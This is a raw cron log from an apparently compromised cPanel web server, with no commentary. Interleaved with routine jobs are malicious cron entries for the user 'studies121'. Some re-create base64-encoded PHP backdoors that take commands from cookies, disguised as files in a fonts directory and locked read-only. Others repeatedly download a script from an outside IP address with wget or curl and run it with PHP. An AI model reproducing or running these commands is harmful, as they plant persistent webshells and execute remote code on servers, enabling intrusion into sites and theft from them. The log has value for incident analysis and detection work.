Sep 12 07:31:01 ip-184-168-122-23 CROND[19291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:31:01 ip-184-168-122-23 CROND[19292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:31:01 ip-184-168-122-23 CROND[19294]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 07:31:01 ip-184-168-122-23 CROND[19295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:31:01 ip-184-168-122-23 CROND[19297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:32:01 ip-184-168-122-23 CROND[19416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:32:01 ip-184-168-122-23 CROND[19418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:32:01 ip-184-168-122-23 CROND[19419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:32:01 ip-184-168-122-23 CROND[19420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:32:01 ip-184-168-122-23 CROND[19421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:33:01 ip-184-168-122-23 CROND[19627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:33:01 ip-184-168-122-23 CROND[19628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:33:01 ip-184-168-122-23 CROND[19630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:33:01 ip-184-168-122-23 CROND[19629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:34:01 ip-184-168-122-23 CROND[19738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:34:01 ip-184-168-122-23 CROND[19739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:34:01 ip-184-168-122-23 CROND[19741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:34:01 ip-184-168-122-23 CROND[19742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:34:01 ip-184-168-122-23 CROND[19743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:35:01 ip-184-168-122-23 CROND[19840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 07:35:01 ip-184-168-122-23 CROND[19842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:35:01 ip-184-168-122-23 CROND[19844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:35:01 ip-184-168-122-23 CROND[19847]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 07:35:01 ip-184-168-122-23 CROND[19843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:35:01 ip-184-168-122-23 CROND[19845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:35:01 ip-184-168-122-23 CROND[19846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:35:01 ip-184-168-122-23 CROND[19848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:36:01 ip-184-168-122-23 CROND[19960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:36:01 ip-184-168-122-23 CROND[19959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:36:01 ip-184-168-122-23 CROND[19963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:36:01 ip-184-168-122-23 CROND[19961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:36:01 ip-184-168-122-23 CROND[19962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:37:01 ip-184-168-122-23 CROND[20051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:37:01 ip-184-168-122-23 CROND[20055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:37:01 ip-184-168-122-23 CROND[20053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:37:01 ip-184-168-122-23 CROND[20054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:38:01 ip-184-168-122-23 CROND[20163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:38:01 ip-184-168-122-23 CROND[20167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:38:01 ip-184-168-122-23 CROND[20166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:38:01 ip-184-168-122-23 CROND[20165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:38:01 ip-184-168-122-23 CROND[20168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:39:01 ip-184-168-122-23 CROND[20352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:39:01 ip-184-168-122-23 CROND[20355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:39:01 ip-184-168-122-23 CROND[20356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:39:01 ip-184-168-122-23 CROND[20354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:39:01 ip-184-168-122-23 CROND[20357]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 07:40:01 ip-184-168-122-23 CROND[20476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:40:01 ip-184-168-122-23 CROND[20482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:40:01 ip-184-168-122-23 CROND[20486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:40:01 ip-184-168-122-23 CROND[20487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:40:01 ip-184-168-122-23 CROND[20485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:40:01 ip-184-168-122-23 CROND[20484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:40:01 ip-184-168-122-23 CROND[20488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:40:01 ip-184-168-122-23 CROND[20483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:41:01 ip-184-168-122-23 CROND[20603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:41:01 ip-184-168-122-23 CROND[20605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:41:01 ip-184-168-122-23 CROND[20606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:41:01 ip-184-168-122-23 CROND[20608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:42:01 ip-184-168-122-23 CROND[20713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:42:01 ip-184-168-122-23 CROND[20714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:42:01 ip-184-168-122-23 CROND[20715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:42:01 ip-184-168-122-23 CROND[20718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:42:01 ip-184-168-122-23 CROND[20717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:43:01 ip-184-168-122-23 CROND[20829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
